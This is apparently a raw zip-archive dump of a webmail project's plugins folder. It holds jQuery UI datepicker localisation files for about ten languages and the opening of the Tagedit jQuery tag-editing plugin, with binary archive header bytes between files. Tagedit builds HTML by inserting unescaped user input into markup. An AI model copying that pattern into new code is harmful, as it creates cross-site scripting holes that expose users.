	currentText: "Dnes",
	monthNames: [ "január", "február", "marec", "apríl", "máj", "jún",
	"júl", "august", "september", "október", "november", "december" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Máj", "Jún",
	"Júl", "Aug", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "nedeľa", "pondelok", "utorok", "streda", "štvrtok", "piatok", "sobota" ],
	dayNamesShort: [ "Ned", "Pon", "Uto", "Str", "Štv", "Pia", "Sob" ],
	dayNamesMin: [ "Ne", "Po", "Ut", "St", "Št", "Pia", "So" ],
	weekHeader: "Ty",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.sk );

return datepicker.regional.sk;

} );
PKh�\R<�--)plugins/jqueryui/js/i18n/datepicker-he.jsnu�[���/* Hebrew initialisation for the UI Datepicker extension. */
/* Written by Amir Hardon (ahardon at gmail dot com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.he = {
	closeText: "סגור",
	prevText: "הקודם",
	nextText: "הבא",
	currentText: "היום",
	monthNames: [ "ינואר", "פברואר", "מרץ", "אפריל", "מאי", "יוני",
	"יולי", "אוגוסט", "ספטמבר", "אוקטובר", "נובמבר", "דצמבר" ],
	monthNamesShort: [ "ינו", "פבר", "מרץ", "אפר", "מאי", "יוני",
	"יולי", "אוג", "ספט", "אוק", "נוב", "דצמ" ],
	dayNames: [ "ראשון", "שני", "שלישי", "רביעי", "חמישי", "שישי", "שבת" ],
	dayNamesShort: [ "א'", "ב'", "ג'", "ד'", "ה'", "ו'", "שבת" ],
	dayNamesMin: [ "א'", "ב'", "ג'", "ד'", "ה'", "ו'", "שבת" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: true,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.he );

return datepicker.regional.he;

} );
PKh�\Ka��)plugins/jqueryui/js/i18n/datepicker-no.jsnu�[���/* Norwegian initialisation for the jQuery UI date picker plugin. */
/* Written by Naimdjon Takhirov (naimdjon@gmail.com). */

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.no = {
	closeText: "Lukk",
	prevText: "Forrige",
	nextText: "Neste",
	currentText: "I dag",
	monthNames: [
		"januar",
		"februar",
		"mars",
		"april",
		"mai",
		"juni",
		"juli",
		"august",
		"september",
		"oktober",
		"november",
		"desember"
	],
	monthNamesShort: [ "jan", "feb", "mar", "apr", "mai", "jun", "jul", "aug", "sep", "okt", "nov", "des" ],
	dayNamesShort: [ "søn", "man", "tir", "ons", "tor", "fre", "lør" ],
	dayNames: [ "søndag", "mandag", "tirsdag", "onsdag", "torsdag", "fredag", "lørdag" ],
	dayNamesMin: [ "sø", "ma", "ti", "on", "to", "fr", "lø" ],
	weekHeader: "Uke",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: ""
};
datepicker.setDefaults( datepicker.regional.no );

return datepicker.regional.no;

} );
PKh�\���,��)plugins/jqueryui/js/i18n/datepicker-ar.jsnu�[���/* Arabic Translation for jQuery UI date picker plugin. */
/* Used in most of Arab countries, primarily in Bahrain, */
/* Kuwait, Oman, Qatar, Saudi Arabia and the United Arab Emirates, Egypt, Sudan and Yemen. */
/* Written by Mohammed Alshehri -- m@dralshehri.com */

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ar = {
	closeText: "إغلاق",
	prevText: "السابق",
	nextText: "التالي",
	currentText: "اليوم",
	monthNames: [ "يناير", "فبراير", "مارس", "أبريل", "مايو", "يونيو",
	"يوليو", "أغسطس", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر" ],
	monthNamesShort: [ "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ],
	dayNames: [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ],
	dayNamesShort: [ "أحد", "اثنين", "ثلاثاء", "أربعاء", "خميس", "جمعة", "سبت" ],
	dayNamesMin: [ "ح", "ن", "ث", "ر", "خ", "ج", "س" ],
	weekHeader: "أسبوع",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
		isRTL: true,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ar );

return datepicker.regional.ar;

} );
PKh�\˲�q((,plugins/jqueryui/js/i18n/datepicker-zh-HK.jsnu�[���/* Chinese initialisation for the jQuery UI date picker plugin. */
/* Written by SCCY (samuelcychan@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "zh-HK" ] = {
	closeText: "關閉",
	prevText: "上月",
	nextText: "下月",
	currentText: "今天",
	monthNames: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	monthNamesShort: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	dayNames: [ "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六" ],
	dayNamesShort: [ "周日", "周一", "周二", "周三", "周四", "周五", "周六" ],
	dayNamesMin: [ "日", "一", "二", "三", "四", "五", "六" ],
	weekHeader: "周",
	dateFormat: "dd-mm-yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "年" };
datepicker.setDefaults( datepicker.regional[ "zh-HK" ] );

return datepicker.regional[ "zh-HK" ];

} );
PKh�\�I�==)plugins/jqueryui/js/i18n/datepicker-fr.jsnu�[���/* French initialisation for the jQuery UI date picker plugin. */
/* Written by Keith Wood (kbwood{at}iinet.com.au),
			  Stéphane Nahmani (sholby@sholby.net),
			  Stéphane Raimbault <stephane.raimbault@gmail.com> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.fr = {
	closeText: "Fermer",
	prevText: "Précédent",
	nextText: "Suivant",
	currentText: "Aujourd'hui",
	monthNames: [ "janvier", "février", "mars", "avril", "mai", "juin",
		"juillet", "août", "septembre", "octobre", "novembre", "décembre" ],
	monthNamesShort: [ "janv.", "févr.", "mars", "avr.", "mai", "juin",
		"juil.", "août", "sept.", "oct.", "nov.", "déc." ],
	dayNames: [ "dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi" ],
	dayNamesShort: [ "dim.", "lun.", "mar.", "mer.", "jeu.", "ven.", "sam." ],
	dayNamesMin: [ "D", "L", "M", "M", "J", "V", "S" ],
	weekHeader: "Sem.",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.fr );

return datepicker.regional.fr;

} );
PKh�\骷��)plugins/jqueryui/js/i18n/datepicker-tr.jsnu�[���/* Turkish initialisation for the jQuery UI date picker plugin. */
/* Written by Izzet Emre Erkan (kara@karalamalar.net). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.tr = {
	closeText: "kapat",
	prevText: "geri",
	nextText: "ileri",
	currentText: "bugün",
	monthNames: [ "Ocak", "Şubat", "Mart", "Nisan", "Mayıs", "Haziran",
	"Temmuz", "Ağustos", "Eylül", "Ekim", "Kasım", "Aralık" ],
	monthNamesShort: [ "Oca", "Şub", "Mar", "Nis", "May", "Haz",
	"Tem", "Ağu", "Eyl", "Eki", "Kas", "Ara" ],
	dayNames: [ "Pazar", "Pazartesi", "Salı", "Çarşamba", "Perşembe", "Cuma", "Cumartesi" ],
	dayNamesShort: [ "Pz", "Pt", "Sa", "Ça", "Pe", "Cu", "Ct" ],
	dayNamesMin: [ "Pz", "Pt", "Sa", "Ça", "Pe", "Cu", "Ct" ],
	weekHeader: "Hf",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.tr );

return datepicker.regional.tr;

} );
PKh�\�!��RR)plugins/jqueryui/js/i18n/datepicker-hi.jsnu�[���/* Hindi initialisation for the jQuery UI date picker plugin. */
/* Written by Michael Dawart. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.hi = {
	closeText: "बंद",
	prevText: "पिछला",
	nextText: "अगला",
	currentText: "आज",
	monthNames: [ "जनवरी ", "फरवरी", "मार्च", "अप्रेल", "मई", "जून",
	"जूलाई", "अगस्त ", "सितम्बर", "अक्टूबर", "नवम्बर", "दिसम्बर" ],
	monthNamesShort: [ "जन", "फर", "मार्च", "अप्रेल", "मई", "जून",
	"जूलाई", "अग", "सित", "अक्ट", "नव", "दि" ],
	dayNames: [ "रविवार", "सोमवार", "मंगलवार", "बुधवार", "गुरुवार", "शुक्रवार", "शनिवार" ],
	dayNamesShort: [ "रवि", "सोम", "मंगल", "बुध", "गुरु", "शुक्र", "शनि" ],
	dayNamesMin: [ "रवि", "सोम", "मंगल", "बुध", "गुरु", "शुक्र", "शनि" ],
	weekHeader: "हफ्ता",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.hi );

return datepicker.regional.hi;

} );
PKh�\p����)plugins/jqueryui/js/i18n/datepicker-gl.jsnu�[���/* Galician localization for 'UI date picker' jQuery extension. */
/* Translated by Jorge Barreiro <yortx.barry@gmail.com>. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.gl = {
	closeText: "Pechar",
	prevText: "Ant",
	nextText: "Seg",
	currentText: "Hoxe",
	monthNames: [ "Xaneiro", "Febreiro", "Marzo", "Abril", "Maio", "Xuño",
	"Xullo", "Agosto", "Setembro", "Outubro", "Novembro", "Decembro" ],
	monthNamesShort: [ "Xan", "Feb", "Mar", "Abr", "Mai", "Xuñ",
	"Xul", "Ago", "Set", "Out", "Nov", "Dec" ],
	dayNames: [ "Domingo", "Luns", "Martes", "Mércores", "Xoves", "Venres", "Sábado" ],
	dayNamesShort: [ "Dom", "Lun", "Mar", "Mér", "Xov", "Ven", "Sáb" ],
	dayNamesMin: [ "Do", "Lu", "Ma", "Mé", "Xo", "Ve", "Sá" ],
	weekHeader: "Sm",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.gl );

return datepicker.regional.gl;

} );
PKh�\�j\��)plugins/jqueryui/js/i18n/datepicker-ko.jsnu�[���/* Korean initialisation for the jQuery calendar extension. */
/* Written by DaeKwon Kang (ncrash.dk@gmail.com), Edited by Genie and Myeongjin Lee. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ko = {
	closeText: "닫기",
	prevText: "이전달",
	nextText: "다음달",
	currentText: "오늘",
	monthNames: [ "1월", "2월", "3월", "4월", "5월", "6월",
	"7월", "8월", "9월", "10월", "11월", "12월" ],
	monthNamesShort: [ "1월", "2월", "3월", "4월", "5월", "6월",
	"7월", "8월", "9월", "10월", "11월", "12월" ],
	dayNames: [ "일요일", "월요일", "화요일", "수요일", "목요일", "금요일", "토요일" ],
	dayNamesShort: [ "일", "월", "화", "수", "목", "금", "토" ],
	dayNamesMin: [ "일", "월", "화", "수", "목", "금", "토" ],
	weekHeader: "주",
	dateFormat: "yy. m. d.",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "년" };
datepicker.setDefaults( datepicker.regional.ko );

return datepicker.regional.ko;

} );
PKh�\�&d�_�_%plugins/jqueryui/js/jquery.tagedit.jsnu�[���/*
* Tagedit - jQuery Plugin
* The Plugin can be used to edit tags from a database the easy way
*
* Examples and documentation at: tagedit.webwork-albrecht.de
*
* License:
* This work is licensed under a MIT License
*
* @licstart  The following is the entire license notice for the
* JavaScript code in this file.
*
* Copyright (c) 2010 Oliver Albrecht <info@webwork-albrecht.de>
* Copyright (c) 2014 Thomas Brüderli <thomas@roundcube.net>
*
* Licensed under the MIT licenses
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* @licend  The above is the entire license notice
* for the JavaScript code in this file.
*
* @author Oliver Albrecht Mial: info@webwork-albrecht.de Twitter: @webworka
* @version 1.5.2 (06/2014)
* Requires: jQuery v1.4+, jQueryUI v1.8+, jQuerry.autoGrowInput
*
* Example of usage:
*
* $( "input.tag" ).tagedit();
*
* Possible options:
*
*  autocompleteURL: '', // url for a autocompletion
*  deleteEmptyItems: true, // Deletes items with empty value
*  deletedPostfix: '-d', // will be put to the Items that are marked as delete
*  addedPostfix: '-a', // will be put to the Items that are choosem from the database
*  additionalListClass: '', // put a classname here if the wrapper ul shoud receive a special class
*  allowEdit: true, // Switch on/off edit entries
*  allowDelete: true, // Switch on/off deletion of entries. Will be ignored if allowEdit = false
*  allowAdd: true, // switch on/off the creation of new entries
*  direction: 'ltr' // Sets the writing direction for Outputs and Inputs
*  animSpeed: 500 // Sets the animation speed for effects
*  autocompleteOptions: {}, // Setting Options for the jquery UI Autocomplete (http://jqueryui.com/demos/autocomplete/)
*  breakKeyCodes: [ 13, 44 ], // Sets the characters to break on to parse the tags (defaults: return, comma)
*  checkNewEntriesCaseSensitive: false, // If there is a new Entry, it is checked against the autocompletion list. This Flag controlls if the check is (in-)casesensitive
*  texts: { // some texts
*      removeLinkTitle: 'Remove from list.',
*      saveEditLinkTitle: 'Save changes.',
*      deleteLinkTitle: 'Delete this tag from database.',
*      deleteConfirmation: 'Are you sure to delete this entry?',
*      deletedElementTitle: 'This Element will be deleted.',
*      breakEditLinkTitle: 'Cancel'
*  }
*/

(function($) {

	$.fn.tagedit = function(options) {
		/**
		* Merge Options with defaults
		*/
		options = $.extend(true, {
			// default options here
			autocompleteURL: null,
			checkToDeleteURL: null,
			deletedPostfix: '-d',
			addedPostfix: '-a',
			additionalListClass: '',
			allowEdit: true,
			allowDelete: true,
			allowAdd: true,
			direction: 'ltr',
			animSpeed: 500,
			autocompleteOptions: {
				select: function( event, ui ) {
					$(this).val(ui.item.value).trigger('transformToTag', [ui.item.id]);
					return false;
				}
			},
			breakKeyCodes: [ 13, 44 ],
			checkNewEntriesCaseSensitive: false,
			texts: {
				removeLinkTitle: 'Remove from list.',
				saveEditLinkTitle: 'Save changes.',
				deleteLinkTitle: 'Delete this tag from database.',
				deleteConfirmation: 'Are you sure to delete this entry?',
				deletedElementTitle: 'This Element will be deleted.',
				breakEditLinkTitle: 'Cancel',
                forceDeleteConfirmation: 'There are more records using this tag, are you sure do you want to remove it?'
			},
			tabindex: false
		}, options || {});

		// no action if there are no elements
		if(this.length == 0) {
			return;
		}

		// set the autocompleteOptions source
		if(options.autocompleteURL) {
			options.autocompleteOptions.source = options.autocompleteURL;
		}

		// Set the direction of the inputs
		var direction= this.attr('dir');
		if(direction && direction.length > 0) {
			options.direction = this.attr('dir');
		}

		var elements = this;
		var focusItem = null;

		var baseNameRegexp = new RegExp("^(.*)\\[([0-9]*?("+options.deletedPostfix+"|"+options.addedPostfix+")?)?\]$", "i");

		var baseName = elements.eq(0).attr('name').match(baseNameRegexp);
		if(baseName && baseName.length == 4) {
			baseName = baseName[1];
		}
		else {
			// Elementname does not match the expected format, exit
			alert('elementname dows not match the expected format (regexp: '+baseNameRegexp+')')
			return;
		}

		// read tabindex from source element
		var ti;
		if (!options.tabindex && (ti = elements.eq(0).attr('tabindex')))
			options.tabindex = ti;

		// init elements
		inputsToList();

		/**
		* Creates the tageditinput from a list of textinputs
		*
		*/
		function inputsToList() {
			var html = '<ul class="tagedit-list '+options.additionalListClass+'">';

			elements.each(function(i) {
				var element_name = $(this).attr('name').match(baseNameRegexp);
				if(element_name && element_name.length == 4 && (options.deleteEmptyItems == false || $(this).val().length > 0)) {
					if(element_name[1].length > 0) {
						var elementId = typeof element_name[2] != 'undefined'? element_name[2]: '',
							domId = 'tagedit-' + baseName + '-' + (elementId || i);

						html += '<li class="tagedit-listelement tagedit-listelement-old" aria-labelledby="'+domId+'">';
						html += '<span dir="'+options.direction+'" id="'+domId+'">' + $(this).val() + '</span>';
						html += '<input type="hidden" name="'+baseName+'['+elementId+']" value="'+$(this).val()+'" />';
						if (options.allowDelete)
							html += '<a class="tagedit-close" title="'+options.texts.removeLinkTitle+'" aria-label="'+options.texts.removeLinkTitle+' '+$(this).val()+'">x</a>';
						html += '</li>';
					}
				}
			});

			// replace Elements with the list and save the list in the local variable elements
			elements.last().after(html)
			var newList = elements.last().next();
			elements.remove();
			elements = newList;

			// Check if some of the elementshav to be marked as deleted
			if(options.deletedPostfix.length > 0) {
				elements.find('input[name$="'+options.deletedPostfix+'\]"]').each(function() {
					markAsDeleted($(this).parent());
				});
			}

			// put an input field at the End
			// Put an empty element at the end
			html = '<li class="tagedit-listelement tagedit-listelement-new">';
			if (options.allowAdd)
				html += '<input type="text" name="'+baseName+'[]" value="" id="tagedit-input" disabled="disabled" class="tagedit-input-disabled" dir="'+options.direction+'"/>';
			html += '</li>';
			html += '</ul>';

			elements
				.append(html)
				.attr('tabindex', options.tabindex) // set tabindex to <ul> to recieve focus

				// Set function on the input
				.find('#tagedit-input')
					.attr('tabindex', options.tabindex)
					.each(function() {
						$(this).autoGrowInput({comfortZone: 15, minWidth: 15, maxWidth: 20000});

						// Event is triggert in case of choosing an item from the autocomplete, or finish the input
						$(this).bind('transformToTag', function(event, id) {
							var oldValue = (typeof id != 'undefined' && (id.length > 0 || id > 0));

							var checkAutocomplete = oldValue == true || options.autocompleteOptions.noCheck ? false : true;
							// check if the Value ist new
							var isNewResult = isNew($(this).val(), checkAutocomplete);
							if(isNewResult[0] === true || (isNewResult[0] === false && typeof isNewResult[1] == 'string')) {

								if(oldValue == false && typeof isNewResult[1] == 'string') {
									oldValue = true;
									id = isNewResult[1];
								}

								if(options.allowAdd == true || oldValue) {
									var domId = 'tagedit-' + baseName + '-' + id;
									// Make a new tag in front the input
									html = '<li class="tagedit-listelement tagedit-listelement-old" aria-labelledby="'+domId+'">';
									html += '<span dir="'+options.direction+'" id="'+domId+'">' + $(this).val() + '</span>';
									var name = oldValue? baseName + '['+id+options.addedPostfix+']' : baseName + '[]';
									html += '<input type="hidden" name="'+name+'" value="'+$(this).val()+'" />';
									html += '<a class="tagedit-close" title="'+options.texts.removeLinkTitle+'" aria-label="'+options.texts.removeLinkTitle+' '+$(this).val()+'">x</a>';
									html += '</li>';

									$(this).parent().before(html);
								}
							}
							$(this).val('');

							// close autocomplete
							if(options.autocompleteOptions.source) {
								if($(this).is(':ui-autocomplete'))
									$(this).autocomplete( "close" );
							}

						})
						.keydown(function(event) {
							var code = event.keyCode > 0? event.keyCode : event.which;

							switch(code) {
								case 46:
									if (!focusItem)
										break;
								case 8: // BACKSPACE
									if(focusItem) {
										focusItem.fadeOut(options.animSpeed, function() {
											$(this).remove();
										})
										unfocusItem();
										event.preventDefault();
										return false;
									}
									else if($(this).val().length == 0) {
										// delete Last Tag
										var elementToRemove = elements.find('li.tagedit-listelement-old').last();
										elementToRemove.fadeOut(options.animSpeed, function() {elementToRemove.remove();})
										event.preventDefault();
										return false;
									}
									break;
								case 9: // TAB
									if($(this).val().length > 0 && $('ul.ui-autocomplete #ui-active-menuitem').length == 0) {
										$(this).trigger('transformToTag');
										event.preventDefault();
										return false;
									}
									break;
								case 37: // LEFT
								case 39: // RIGHT
									if($(this).val().length == 0) {
										// select previous Tag
										var inc = code == 37 ? -1 : 1,
											items = elements.find('li.tagedit-listelement-old')
											x = items.length, next = 0;
										items.each(function(i, elem) {
											if ($(elem).hasClass('tagedit-listelement-focus')) {
												x = i;
												return true;
											}
										});
										unfocusItem();
										next = Math.max(0, x + inc);
										if (items.get(next)) {
											focusItem = items.eq(next).addClass('tagedit-listelement-focus');
											$(this).attr('aria-activedescendant', focusItem.attr('aria-labelledby'))

											if(options.autocompleteOptions.source != false) {
												$(this).autocomplete('close').autocomplete('disable');
											}
										}
										event.preventDefault();
										return false;
									}
									break;
								default:
									// ignore input if an item is focused
									if (focusItem !== null) {
										event.preventDefault();
										event.bubble = false;
										return false;
									}
							}
							return true;
						})
						.keypress(function(event) {
							var code = event.keyCode > 0? event.keyCode : event.which;
							if($.inArray(code, options.breakKeyCodes) > -1) {
								if($(this).val().length > 0 && $('ul.ui-autocomplete #ui-active-menuitem').length == 0) {
									$(this).trigger('transformToTag');
								}
								event.preventDefault();
								return false;
							}
							else if($(this).val().length > 0){
								unfocusItem();
							}
							return true;
						})
						.bind('paste', function(e){
							var that = $(this);
							if (e.type == 'paste'){
								setTimeout(function(){
									that.trigger('transformToTag');
								}, 1);
							}
						})
						.blur(function() {
							if($(this).val().length == 0) {
								// disable the field to prevent sending with the form
								$(this).attr('disabled', 'disabled').addClass('tagedit-input-disabled');
							}
							else {
								// Delete entry after a timeout
								var input = $(this);
								$(this).data('blurtimer', window.setTimeout(function() {input.val('');}, 500));
							}
							unfocusItem();
							// restore tabindex when widget looses focus
							if (options.tabindex)
								elements.attr('tabindex', options.tabindex);
						})
						.focus(function() {
							window.clearTimeout($(this).data('blurtimer'));
							// remove tabindex on <ul> because #tagedit-input now has it
							elements.attr('tabindex', '-1');
						});

						if(options.autocompleteOptions.source != false) {
							$(this).autocomplete(options.autocompleteOptions);
						}
					})
				.end()
				.click(function(event) {
					switch(event.target.tagName) {
						case 'A':
							$(event.target).parent().fadeOut(options.animSpeed, function() {
								$(event.target).parent().remove();
								elements.find('#tagedit-input').focus();
								});
							break;
						case 'INPUT':
						case 'SPAN':
						case 'LI':
							if($(event.target).hasClass('tagedit-listelement-deleted') == false &&
							$(event.target).parent('li').hasClass('tagedit-listelement-deleted') == false) {
								// Don't edit an deleted Items
								return doEdit(event);
							}
						default:
							$(this).find('#tagedit-input')
								.removeAttr('disabled')
								.removeClass('tagedit-input-disabled')
								.focus();
					}
					return false;
				})
				// forward focus event (on tabbing through the form)
				.focus(function(e){ $(this).click(); })
		}

		/**
		 * Remove class and reference to currently focused tag item
		 */
		function unfocusItem() {
			if(focusItem){
				if(options.autocompleteOptions.source != false) {
					elements.find('#tagedit-input').autocomplete('enable');
				}
				focusItem.removeClass('tagedit-listelement-focus');
				focusItem = null;
				elements.find('#tagedit-input').removeAttr('aria-activedescendant');
			}
		}

		/**
		* Sets all Actions and events for editing an Existing Tag.
		*
		* @param event {object} The original Event that was given
		* return {boolean}
		*/
		function doEdit(event) {
			if(options.allowEdit == false) {
				// Do nothing
				return;
			}

			var element = event.target.tagName == 'SPAN'? $(event.target).parent() : $(event.target);

			var closeTimer = null;

			// Event that is fired if the User finishes the edit of a tag
			element.bind('finishEdit', function(event, doReset) {
				window.clearTimeout(closeTimer);

				var textfield = $(this).find(':text');
				var isNewResult = isNew(textfield.val(), true);
				if(textfield.val().length > 0 && (typeof doReset == 'undefined' || doReset === false) && (isNewResult[0] == true)) {
					// This is a new Value and we do not want to do a reset. Set the new value
					$(this).find(':hidden').val(textfield.val());
					$(this).find('span').html(textfield.val());
				}

				textfield.remove();
				$(this).find('a.tagedit-save, a.tagedit-break, a.tagedit-delete').remove(); // Workaround. This normaly has to be done by autogrow Plugin
				$(this).removeClass('tagedit-listelement-edit').unbind('finishEdit');
				return false;
			});

			var hidden = element.find(':hidden');
			html = '<input type="text" name="tmpinput" autocomplete="off" value="'+hidden.val()+'" class="tagedit-edit-input" dir="'+options.direction+'"/>';
			html += '<a class="tagedit-save" title="'+options.texts.saveEditLinkTitle+'">o</a>';
			html += '<a class="tagedit-break" title="'+options.texts.breakEditLinkTitle+'">x</a>';

			// If the Element is one from the Database, it can be deleted
			if(options.allowDelete == true && element.find(':hidden').length > 0 &&
			typeof element.find(':hidden').attr('name').match(baseNameRegexp)[3] != 'undefined') {
				html += '<a class="tagedit-delete" title="'+options.texts.deleteLinkTitle+'">d</a>';
			}

			hidden.after(html);
			element
				.addClass('tagedit-listelement-edit')
				.find('a.tagedit-save')
					.click(function() {
						$(this).parent().trigger('finishEdit');
						return false;
					})
				.end()
				.find('a.tagedit-break')
					.click(function() {
						$(this).parent().trigger('finishEdit', [true]);
						return false;
					})
				.end()
				.find('a.tagedit-delete')
					.click(function() {
                        window.clearTimeout(closeTimer);
						if(confirm(options.texts.deleteConfirmation)) {
                            var canDelete = checkToDelete($(this).parent());
                            if (!canDelete && confirm(options.texts.forceDeleteConfirmation)) {
                                markAsDeleted($(this).parent());
                            }

                            if(canDelete) {
                                markAsDeleted($(this).parent());
                            }

                            $(this).parent().find(':text').trigger('finishEdit', [true]);
						}
                        else {
                            $(this).parent().find(':text').trigger('finishEdit', [true]);
                        }
						return false;
					})
				.end()
				.find(':text')
					.focus()
					.autoGrowInput({comfortZone: 10, minWidth: 15, maxWidth: 20000})
					.keypress(function(event) {
						switch(event.keyCode) {
							case 13: // RETURN
								event.preventDefault();
								$(this).parent().trigger('finishEdit');
								return false;
							case 27: // ESC
								event.preventDefault();
								$(this).parent().trigger('finishEdit', [true]);
								return false;
						}
						return true;
					})
					.blur(function() {
						var that = $(this);
						closeTimer = window.setTimeout(function() {that.parent().trigger('finishEdit', [true])}, 500);
					});
		}

        /**
         * Verifies if the tag select to be deleted is used by other records using an Ajax request.
         *
         * @param element
         * @returns {boolean}
         */
        function checkToDelete(element) {
            // if no URL is provide will not verify
            if(options.checkToDeleteURL === null) {
                return false;
            }

            var inputName = element.find('input:hidden').attr('name');
            var idPattern = new RegExp('\\d');
            var tagId = inputName.match(idPattern);
            var checkResult = false;

            $.ajax({
                async   : false,
                url     : options.checkToDeleteURL,
                dataType: 'json',
                type    : 'POST',
                data    : { 'tagId' : tagId},
                complete: function (XMLHttpRequest, textStatus) {

                    // Expected JSON Object: { "success": Boolean, "allowDelete": Boolean}
                    var result = $.parseJSON(XMLHttpRequest.responseText);
                    if(result.success === true){
                        checkResult = result.allowDelete;
                    }
                }
            });

            return checkResult;
        }

		/**
		* Marks a single Tag as deleted.
		*
		* @param element {object}
		*/
		function markAsDeleted(element) {
			element
				.trigger('finishEdit', [true])
				.addClass('tagedit-listelement-deleted')
				.attr('title', options.deletedElementTitle);
				element.find(':hidden').each(function() {
					var nameEndRegexp = new RegExp('('+options.addedPostfix+'|'+options.deletedPostfix+')?\]');
					var name = $(this).attr('name').replace(nameEndRegexp, options.deletedPostfix+']');
					$(this).attr('name', name);
				});

		}

		/**
		* Checks if a tag is already choosen.
		*
		* @param value {string}
		* @param checkAutocomplete {boolean} optional Check also the autocomplet values
		* @returns {Array} First item is a boolean, telling if the item should be put to the list, second is optional the ID from autocomplete list
		*/
		function isNew(value, checkAutocomplete) {
            checkAutocomplete = typeof checkAutocomplete == 'undefined'? false : checkAutocomplete;
			var autoCompleteId = null;
            
            var compareValue = options.checkNewEntriesCaseSensitive == true? value : value.toLowerCase();

			var isNew = true;
			elements.find('li.tagedit-listelement-old input:hidden').each(function() {
                var elementValue = options.checkNewEntriesCaseSensitive == true? $(this).val() : $(this).val().toLowerCase();
				if(elementValue == compareValue) {
					isNew = false;
				}
			});

